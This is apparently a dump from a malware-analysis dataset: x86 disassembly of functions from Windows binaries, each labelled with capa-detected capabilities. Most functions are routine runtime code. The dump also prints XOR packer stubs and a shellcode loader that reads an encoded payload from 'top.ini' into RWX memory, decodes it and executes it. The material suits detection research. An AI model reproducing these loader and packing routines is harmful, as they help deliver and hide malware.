joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d960
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.0040d9c0

Function at 0x40d9c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x492054]
test esi, esi
jle 0x40daad
mov edi, dword [0x492058]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40d9f4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40daa6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x40d9e0
mov dword [esp], eax
mov ebx, eax
call fcn.0040e300
test eax, eax
mov edi, eax
je 0x40daea
lea ebx, [esi + esi*2]
mov esi, dword [0x492058]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.0040e400
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x492058]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40daca
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40da9f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40da9f
mov eax, dword [esp + 0x20]
add ebx, dword [0x492058]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x40dab4
add dword [0x492054], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40d9fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040d960
mov eax, dword [0x492058]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040d960
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040d960
lea esi, [esi]
Function at 0x40dfb0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x492408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x492400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x40e005
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40dffe
test esi, esi
je 0x40dffe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40dfe0
mov dword [esp], 0x492408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40e220
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40e258
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40e24e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40e25a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40e240
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40f690
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov esi, eax
lea eax, [eax + 0x41]
and eax, 0xfffffff0
call fcn.0040e530
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
lea edi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [esi + 0x10]
lea edx, [edi + eax]
mov dword [ebp - 0x20], eax
mov dword [edx], 0x61616161
mov dword [edx + 4], 0x61616161
mov dword [edx + 8], 0x61616161
mov dword [edx + 0xc], 0x61616161
mov dword [edx + 0x10], 0x61616161
mov dword [edx + 0x14], 0x61616161
mov dword [edx + 0x18], 0x61616161
mov dword [edx + 0x1c], 0x61616161
mov dword [ebp - 0x24], edx
mov byte [esp + esi + 0x3c], 0
mov byte [esp + esi + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [edi + esi + 0xf], 0x2d
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
mov edx, dword [ebp - 0x24]
je 0x40f77f
int3
mov dword [ebp - 0x24], edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
mov edx, dword [ebp - 0x24]
jne 0x40f823
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, dword [ebp - 0x24]
mov ebx, eax
mov eax, 0x20
bt ebx, eax
jae 0x40f7ba
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x40f7b2
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x40f820
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.0040f610
cmp eax, ebx
mov esi, eax
je 0x40f83a
mov dword [esp], ebx
call fcn.0041a240
mov edi, dword [ebp - 0x1c]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.0040f610
mov esi, eax
jmp 0x40f7f4
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40f7f4
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x40f7f4
Function at 0x41b0e0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x492e40]
test ebx, ebx
je 0x41b110
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x492e40]
test eax, eax
je 0x41b135
cmp dword [eax], 0xffffffff
je 0x41b158
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov ebx, eax
mov dword [0x492e40], eax
jmp 0x41b0ee
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41b0ff
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x41b5f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x492e44]
test eax, eax
je 0x41b744
call fcn.0041b570
mov eax, dword [0x492e40]
test eax, eax
je 0x41b770
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41b630
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0041af30
test eax, eax
mov ebx, eax
je 0x41b7bc
mov eax, dword [entry3]
test eax, eax
je 0x41b7bc
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41b7c3
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x492e40]
test eax, eax
je 0x41b796
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41b7c3
mov eax, ebx
jmp 0x41b628
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call fcn.004206b0
mov dword [0x492e44], eax
jmp 0x41b604
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41b616
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41b723
xor eax, eax
jmp 0x41b628
call sub.msvcrt.dll_abort
nop
lea esi, [esi]
sub esp, 0x1c
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_key_dest_shmem
call fcn.004206b0
add esp, 0x1c
ret
Function at 0x41bd30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x41bd50
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x492e40]
test eax, eax
je 0x41bec0
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x41bd3c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41bd3c
test byte [eax + 0x20], 0x30
je 0x41be10
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41beb0
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41bdc0
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41bdb2
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.0041f220
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x41bf16
mov eax, dword [0x492e40]
test eax, eax
je 0x41bef0
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x41be70
test eax, eax
je 0x41be2a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x41bea0
test byte [ebx + 0x24], 4
je 0x41be87
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41bdb9
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x41bdb9
test eax, eax
je 0x41be80
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.0041f220
mov dword [ebx + 0x34], 0xffffffff
jmp 0x41bd3c
call fcn.0041bb40
jmp 0x41be42
call fcn.0041bb40
jmp 0x41bd8e
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41bd5d
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41bded
mov eax, ebx
call fcn.0041b160
jmp 0x41bde0
Function at 0x41d0b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call fcn.0041b5f0
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41d12b
test byte [ebx + 0x20], 0x30
je 0x41d132
mov eax, dword [0x492e40]
test eax, eax
je 0x41d1bb
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41d122
cmp dword [eax + 0x14], 0
je 0x41d145
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d115
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41d18f
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call fcn.0041bb40
jmp 0x41d0cd
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d15c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x41d1b2
mov eax, dword [0x492e40]
test eax, eax
je 0x41d1e1
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41d122
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x41d16f
mov eax, ebx
call fcn.0041b160
jmp 0x41d16f
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41d0e0
mov dword [esp + 8], 0x41a570
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.004206b0
mov dword [0x492e40], eax
jmp 0x41d178
Function at 0x4206b0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040e530
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x42079f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x420843
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x4207d8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x4207d0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x420840
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00420630
cmp eax, ebx
mov esi, eax
je 0x42085a
mov dword [esp], ebx
call fcn.0041a240
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00420630
mov esi, eax
jmp 0x420812
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x420812
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x420812
Function at 0x47d420
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
lea eax, [esp + 0x60]
mov dword [esp + 0x34], 0x47fd30
mov dword [esp + 0x38], 0x480d34
mov dword [esp + 0x40], 0x47d525
mov dword [esp + 0x44], esp
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x1c]
mov dword [esp], eax
mov dword [esp + 0x18], eax
call fcn.0040eb90
mov eax, dword [esp + 0x80]
lea ecx, [esp + 0x5f]
mov dword [esp + 4], 0
mov dword [esp + 0x20], 0xffffffff
mov dword [esp], eax
call fcn.0044e9b0
sub esp, 8
cmp byte [esp + 0x5f], 0
jne 0x47d4a3
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.0040ed00
mov eax, dword [esp + 0x80]
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x80]
mov ebx, dword [esp + 0x80]
mov eax, dword [eax]
mov eax, dword [eax - 0xc]
mov ecx, dword [ebx + eax + 0x78]
mov edx, dword [ecx + 8]
cmp edx, dword [ecx + 0xc]
jae 0x47d4e0
movzx eax, byte [edx]
add edx, 1
mov dword [ecx + 8], edx
mov edx, dword [esp + 0x84]
mov byte [edx], al
jmp 0x47d488
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
mov dword [esp + 0x20], 1
call eax
cmp eax, 0xffffffff
jne 0x47d4cb
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x80]
mov eax, dword [eax]
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
mov dword [esp + 0x20], 0xffffffff
or eax, 6
mov dword [esp], eax
call fcn.004763f0
sub esp, 4
jmp 0x47d488
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5c3507df
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x68163003
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219